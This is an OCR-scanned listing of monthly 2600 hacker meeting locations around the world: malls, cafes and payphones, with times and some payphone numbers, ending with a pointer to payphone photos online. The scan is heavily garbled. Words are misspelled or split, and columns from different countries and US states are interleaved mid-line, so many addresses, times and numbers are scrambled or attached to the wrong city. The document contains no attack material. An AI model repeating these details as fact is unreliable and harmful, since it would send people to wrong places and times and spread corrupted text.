
South CarOlina
Char les ton: Ncrthwcoda Mall in the
hall between Sears and Chik_FII_A

South Dak ot a
Sioux Falls: EmDOre Mall. by Burger

"'"

All meetin gs take place on Ihe first Fri·
day of the month, Unless otherNise
noted. they start at 5 pm local time, To
sta rt a meeting in your city. send email
to meet,ng s@2600 .com

Virg inia
Arlington : (see District of COfumbia)
Virgin ia Beaoh : Lynnhaven Mall on
Lynnhaven Parkway, 6 pm.

Washinglon
se an Ie: Washing!O<1 siee Conyention
Cent ef. 211(I level . SOUIIl~de 6 pm_

Wi soon6ln
Madi son: Union South (227 N, Aan-­
daIIAwe.) onthe lower kMlI in the Mar ·
till LL.11lef KIng Jr. Lounge . Payphone
(608) 251·9909
Milwaukee : Tne Node. 15()4 E. North,..

Ten n...._

Louisiana Knoxvill e : Borders BooI<$cere acrose
Baton Roug e: In the LSU UrOon Build· from Wes1(lo,'m Mal.
iog. be!we~:he T'9ar PacJSe & Me· Mempllls : Allanta Bread CO., 4770
Donald·s Poll iar AYe. 6 pm_
New Orl ean s: Zo", conee House up- Nash ville: J-J's Markel . 1912 Broad-
town at 82 10 Oak St,eet . 6 pm ....ay. 6 pm

Maine Texas

~~~~d~o~~~i~~:.all by the bench a> Aust in ; ecce Mali/ODd COUr1, 6 pm
Dallas: Taco Cabana on Preston Rd

B8lt imo re: B a~.:;~a~~ble cafe at the just nortn of Campbell.
Inner Harbor. Hou ston: Nlnfa's Express In front of

Massaohusens Nordstrom's in the Galleria Mall
Bo$ ton : PrJJtentlal Cente' Plaza . le r- san Anlon io: North Star Mal lood
,ace load coun a: :t1e ta:>les near the eour1
wll'ld(».vs. 6 pm Utah
t.lI rtbOrou gh: Solomon Par!<Ma ~ food sa il Lake City : ZCMI MaJI 0fl1l>ePas1<
oourt Food Court.
Nort hamplon: Javanet Ca'e across Ve,mont
from Polasi<i Park. Bur lin gton : Border s Books at Churoh

Mich igan SI. and Cheny SI. on the secoll(l ftoor
An n Arbor: The Galleria on SOulh U", - o/the cafe
YC,""ty

Neyada
Las Vegas: Do g !-loose Cafe. 2191 E
Tr~iCana Ave

JA PAN
T(lkyo : Linux Cafe in AlI lhilba 'a dls­
tricl. 6 pm

GREECE
Athe ns : OIn;oce tf'\(! bOO'<store Pa­
pa&'1\"IIrJOu 01'\ u'e comer of Pa~SICIIl

a."IllS:ouma.~. 7 P"'.
IRELAND

Dubli n : Al me~hone boolhs on W.,~_

1010II SI. tes. ce T(lwer Records, 7 pm
ITALY

Milan : Piazza Le-ete In front o! Mc­
DOIlaids

Min nesota
Bloomington: Mall of America, north

Cali forn ia SIde food COUI'\, across from Burger
Los Angeles : Union StatlOll. come r of King & ee bank ot payphones that
Macy 8; Alameda, Inside main emrar>ee don1 talle incoming calls
by barlk of phones. Payptlones : (213) Missou rl
972-9519. 9520 ; 625-9923 . 9924; 6 1~ Kansas City (Indepe nden ce) : Barnes
9104. 9746 & Noble. 19120 East 39!ll S1.
Uon lerey: London Br<lge P1Jb, 2 S1.Loui s (Maryl and Heig hts) : Rivalz
Wharlil. Techrlology Cafe. 11502 Oorsell Road
Oran99 Coun ty (Lake Fores t): Springfoeld: Borders BooI<$ar.-l Mus ic
Dl9dnch Cotee. 2262 I Lalle Forest col' eeshop. 33 00 SOutll GJenstor:e
Drive . 8 pm_ Ave.. one block SQUtll of aattl l'he ld
Saor"mento: CamilJe·s at the oomer Mall. 5,30 pr.1

of Sunr ise and Madison. Nebrask a
San Diego : Regents Pizza. 4150 Re- Omaha : Crossroads Mall Food COUr1
gems Pari<Row #170. 1 prn
San Franci sco : 4 Embarcacero Plaza
(inside) . Payphones (415) 398 -9803
9804. 9805 . 9806

ARGEJmNA
Buenos Aires: In the bar al Sa" Jose
05

Reading: Afro Bar. Mercllan!s Place. san Jos e: Outside t1>9 cafe at the
off Fnar $1.6 pm MLK Lib-ary a: 4!h and E. San Fe-·

A NLA ND r.ando. 6 ern.
AUSTRALIA HelSin ki : Fe"""'o<Omell tood court cerceaee

Adelllide: At 1he pa~ near the (Vuofika~ 14). Bou lder : Wlr!9 Zone food court 13th
AcademyCinema 00 PulWneySI. e FRANCe and CoIege, 6 pm.
pm. Avignon: Bottom 01~ue de Ia Re- Denver: Bc:<eer1l Ca'e . Pari<eran ':
Bri sbane: Hungry Jacks 011 !tie Queen pul>lq..e III !l'ont c f Ine 'oo.ontalr1 .... it'l Araoa~

St. Mall (RHS. ccocene Info Booth). 7 ttle !\owers. 7 pm. Distri ct 01 COlum bia
pm Grenob le: Eve. campus 0/ SI. Martin Ar lington: Pentagon City Mall in tI1e
Canberra : KC's Virtual Reality Cafe, d 'Heres food court (near Au Bon Pain), 6 pm
1I East RW, Civic. 7 pm . Paris: Place de la Repub l,que, near Flo rida
Meibourne: Caffeine III Revaull bar, the (empty) tountam.e pm. Fl. Lauderdale: Broward Mall in the
\6 Swansl()r1 St. . near Melbou rne Cen. Renn es: In from of the Slore "Blue food court. e pm.
Iral ShOppIng Cenlr c . 6:30 pm Box" Close to lhe place of Ihe Repu!l- Gainesvill e : tn the bac~ of the Univer.
Pert h : The MerchBrlI Tea and Coffee be. 7 pm slty 01 Florida's Rel:Z Union food COO!'!

House . 183 Murray S1.6 pm . 6 em
Syd ney: The OysIlll PalaCe. from Orlando: Fas'l "'" SQ...ateMa!I Food
ba'lbtslro. oppos~e lI\8 bus slatio<l COutlbe~...e"n Howan GOUfllle1...-.c
area 00 GeorgoeSt al Cen:ra l sta eco "'.anch<J WoI<.6 pm.

6pm Tamp.- : UM ersi!y MaNOfl meb.ac~ o!
AUSTRIA ee tood CO,l'! 01'1!~e 211(I floor.6 pr.1

Graz: cere Har.estelle on Ja~olTlllli- Georg ia

pla tz All anta: l enox Mall tood court. 7 pm
BRAZIL IdahO

Belo Ho rizonte : Pelego's Bar at As- Boise: BSU S:ueenl Umon Building.
Rufeng. near the pavcrone. 6 pm. upstairs from lhe main entraoc e. Pay.

CANADA phones: 1208) 342·9700, 9701
Al ber1a Pooatello: College Marllel. 60 4 South

Calgary Eau Claire Marlle l food cour1 NEW ZEALAND 81h St.
by !tie bland yellow wall, 6 pm. Auokl and: London Bas. upstai rs ill inois

Bri t ish Col umbia WelleSley 5:.. Aupd and Central. 5:30 Ch icago: Nelg~mood Boys a'ld

~uver: Paei!1C (;e(lt ,e Mal Food ~'i5lChU'ch: Java Cate . comer 01 G,rIs cce.250 1 W. lIVIng Pa'~ Rd. 7

Vk:IOri~: a v Bakery and Ca~e . 170 1 HIQhSI. all(l "".ancl>eStefSt 6 pm prn Indiana
Gowvmmenl St W&lli ngton : load Cafe in Cuta Malt 6 Ewans..-il le: Barnes and No:>:ec.?'e al

M~nitoba on. NORWAY 624 S Gree~ Rlwer Rd.

:;t=:~H~~,1 5hopp"'9 Centre. Oslo : Oslo seotrerTra,n Station. 7 pm ~t~:Y:~~~~~1 food court

Moncton: =,:r~~~w~~~wor ks In. Tromsoe: The upper floor at Blaa India napolis: Comer Coffee, SW ox-
Iernct Cafe, 720 Main S1.7 pm ~r~~d~~fi~S~~~~~~~~ ~:. ner Of 11th and Alabama

Ontari O dregMe . 6 pm ~:~O~I:n~ai~~ i:;;~~~:~:eB~~nes

=~~;~i ,a~~Sm~ottp.e PUb. 505 LI ma: Barb;IO"ia~~:~Pu Bar l. en AI. Kanu s

Guelph ' William·s ceaeePub. 492 Ed- canto res 455. MJrallorf'S, al lhe e'ld of ~~:$~:I~;~~~~~nd Park ) : Oak

~~~:::: =':~:~Iaza. 111 Tarata St. 8 P;COTLANO Wichila: R!VefSide Peri<. 1144 Blttin!>

AlbertSt .• second f'Ioor 6:30 pm Glasgow : Gen1lal $1a100fl . payphones Ave
Tor ont o : Future 8ake<y. 483 Bloor St ne xt to Pladorm 1. 7 pm
West. SLOVAKIA
Waterloo: WlIJam's Cott~ PlIb , 170 Preso v City : KeIr:PtJb 6 pm.
Universrty Ave. West 7 pm SOUTH AFRICA
Windsor: U.werSlty of Windsor. CAW Johannesburg (Sandl on City) : sand·
Student Cente' c:ommons area by 1IIe ton loot! court 6:30 pm
la,ge window, 7 pm . SWEOEN

Quebe c Gothenburg : Outs ide Vanilj, 6 pm.
Mont real : Bell Arnpt utheatre . 1000. S too ~ h o lm : Outside Lava.
rue de la Gaucheti9' e SWITZERLAND

CHINA Lausanne: in front ot tile MacDa be-
Hong Kong: PacIfICCollee in Festival SIde ee train statco.
Walk. Kowkx>nTong 7 pm. UNITED STATES

CZECH REPUB LIC Alabama
Pragu e: LegenOa pub . 6 pm Aubu m : The sludontlounge upstairs

DENMARK in the Fay UnIon BuIldIng. 7 pm
Aa lborq: Fast Eddlll 's pool hal. Hun t.ville: Mad:-sonSquare Mal in
Aamus : In the tar come, of the DSB the tood COUrt near McDonald's.
cate ill the ~ay statIOn. Tu*"a~: McFarlall(l Mallood
Cope nhag en : Cafe B1asen. COUr1 near lhe front entrance
SOnderbo rg : Cafe Druen. 7:30 pm Ari zona

EGYPT Ph(len ;x (Tem pe): UAT, 2tl25 'II
Port Said : Al the foot of the Obelis~ Basel ine Rd
(EI Missallah) Tuoson: Borders in the Park Mall. 7

ENGLAN D pm
Bdght on: Altne phone OOxe5 by the
5cahfe Cenl,e (aoross tile roa d from
the Palace PIer). 7 pm. Payphone
(01273) 606674
Exet er: AI the paypho nes. Becrord
SQuar e . 7 pm
Hampshire: OoAside the /3uIldhalI,

"""""""'.
Hul l: The Old Gray Mare Put>.eotmg·
ha m Road. oppoSIte I-tJn Unl\lergty. 7

om
London: 'rrccacerc Shopping Center
(near PiOGadil1yCircus ), lowest level.
6:30 pm.
ManChester: The Green Room on
Wh;lworth St 7pm
Norwich: Bofders eneence 10

Chapeff",1dMa n. 6 pm.
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Visit http://www.2600.com/phones/

to see even more foreign payphone photos!
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